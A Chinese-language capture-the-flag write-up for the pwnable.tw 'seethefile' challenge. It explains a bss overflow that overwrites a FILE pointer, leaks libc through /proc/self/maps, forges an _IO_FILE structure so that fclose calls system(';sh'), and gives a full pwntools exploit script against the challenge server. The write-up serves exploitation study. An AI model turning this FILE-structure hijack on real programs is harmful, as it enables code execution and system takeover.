avatar

pwnable.tw seethefile

idea

做这道题目的时候没啥思路,有了泄漏不知道怎么控制程序流。看了别人 wp 才知道要通过伪造 _io_file 来实现,正好来学习一下这个坑。

1
2
3
4
5
6
7
carlstar@ubuntu:~/Desktop$ checksec seethefile
[*] '/home/carlstar/Desktop/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序的漏洞很容易看出来,就是在2次 scanf 的时候有溢出,第一次在栈上就很自然的想到看有没有机会做 rop。后来发现有 2 个坑:一是在 atoi 时如果不在 1-5 程序会 abort 然后就是程序不是正常 return 的,每次 return 前会调用 exit 这样的话就不能通过 ret 来控制 eip 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr; // [esp+Ch] [ebp-2Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
init();
welcome();
while ( 1 )
{
menu();
__isoc99_scanf("%s", &nptr);
switch ( atoi(&nptr) )
{
case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);
printf("Thank you %s ,see you next time\n", &name);
if ( fp )
fclose(fp);
exit(0);
return;
default:
puts("Invaild choice");
exit(0);
return;
}
}
}

第二处溢出在 bss 段上,可以控制 fp 指针。

1
2
3
4
5
6
7
.bss:0804B260 name            db    ? ;               ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends

leak libc

我们知道在 linux 系统上一切皆文件,利用程序的 open read write 可以读取并输出 /proc/self/maps 下程序的地址信息。可以类比 pwngdb 的 vmmap,不过这个是集合了多个命令呈现的,可以去看 vmmap.py。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@pwndbg.memoize.reset_on_stop
def proc_pid_maps():
"""
Parse the contents of /proc/$PID/maps on the server.

Returns:
A list of pwndbg.memory.Page objects.
"""

# If we debug remotely a qemu-user or qemu-system target,
# there is no point of hitting things further
if pwndbg.qemu.is_qemu():
return tuple()

example_proc_pid_maps = """
7f95266fa000-7f95268b5000 r-xp 00000000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so
7f95268b5000-7f9526ab5000 ---p 001bb000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so
7f9526ab5000-7f9526ab9000 r--p 001bb000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so
7f9526ab9000-7f9526abb000 rw-p 001bf000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so
7f9526abb000-7f9526ac0000 rw-p 00000000 00:00 0
7f9526ac0000-7f9526ae3000 r-xp 00000000 08:01 418153 /lib/x86_64-linux-gnu/ld-2.19.so
7f9526cbe000-7f9526cc1000 rw-p 00000000 00:00 0
7f9526ce0000-7f9526ce2000 rw-p 00000000 00:00 0
7f9526ce2000-7f9526ce3000 r--p 00022000 08:01 418153 /lib/x86_64-linux-gnu/ld-2.19.so
7f9526ce3000-7f9526ce4000 rw-p 00023000 08:01 418153 /lib/x86_64-linux-gnu/ld-2.19.so
7f9526ce4000-7f9526ce5000 rw-p 00000000 00:00 0
7f9526ce5000-7f9526d01000 r-xp 00000000 08:01 786466 /bin/dash
7f9526f00000-7f9526f02000 r--p 0001b000 08:01 786466 /bin/dash
7f9526f02000-7f9526f03000 rw-p 0001d000 08:01 786466 /bin/dash
7f9526f03000-7f9526f05000 rw-p 00000000 00:00 0
7f95279fe000-7f9527a1f000 rw-p 00000000 00:00 0 [heap]
7fff3c177000-7fff3c199000 rw-p 00000000 00:00 0 [stack]
7fff3c1e8000-7fff3c1ea000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
"""

locations = [
'/proc/%s/maps' % pwndbg.proc.pid,
'/proc/%s/map' % pwndbg.proc.pid,
'/usr/compat/linux/proc/%s/maps' % pwndbg.proc.pid,
]

fake io_file

通过泄漏拿到了 libc 再找一块儿空闲可以写的地方,来伪造 file结构体。然后把 fp 指针指向这里,这样在执行到 fclose(fp); 就会根据之前布置好结构体的参数触发 _IO_FINISH(fp) 来 getshell。

如何布置结构体参数呢?

libc版本 <= 2.23的时候才可以这样布置结构体,因为大于等于2.24的libc会对vtable的位置做判断,无法令其指向自己构造的区域

1
2
3
4
1 _IO_FILE结构体大小为0x94,版本不同大小不同
2 在检查vtable_offset==0之后函数对fp->_flags的_IO_IS_FILEBUF位进行检查(0x2000)
3 若该位不为0则调用_IO_un_link(fp)将fp指向的FILE结构体从_IO_list_all的单向链表中取下,并调用_IO_file_close_it(fp)关闭fp
4 然后将调用_IO_FINISH(fp),相当于执行((struct IO_FILE_plus *)fp->vtable)->__finish(fp)

为了防止在fclose的过程中会触发异常造成程序异常终止,我们需要把 FILE结构体的 _flags变量的_IO_IS_FILEBUF标志位置0,例如置为0xffffdfff,后面 4 字节跟要执行函数的参数就行,为了防止参数传入错误,我们需要截断一下, || ; 都行。那么我们构造好的结构体应该是下面这样。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('192.168.5.191', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('chall.pwnable.tw', 10200)
libc = ELF('libc_32.so.6')




def debug():
raw_input('go?')




def open(path):
sla('choice :', '1')
sla('see :', path)


def read():
sla('choice :', '2')

def write():
sla('choice :', '3')

def exit(payload):
sla('choice :', '5')
sa('your name :', payload)

def close():
sla('choice :', '4')


open("/proc/self/maps")
read()
write()
ru('[heap]\n')
addr_libc = int(ru('-'),16) + 0x1000
leak('addr_libc',addr_libc)
addr_sys = addr_libc + libc.symbols['system']
leak('addr_sys', addr_sys)
close()
open('/proc/self/maps')
payload = '\x00' * 0x20 + p32(0x0804b300)
payload += '\x00' * (0x0804b300 - 0x0804B280 - 0x4)
payload += '\xff\xff\xdf\xff;sh\x00'.ljust(0x94,'\x00')
payload += p32(0x0804B300 + 0x98)
payload += p32(addr_sys) * 18
exit(payload)

irt()

参考链接

[pwnable.tw]seethefile [IOFILE学习–fclose]

glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行

Author: CarlStar
Link: http://yoursite.com/2020/02/05/seethefile/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment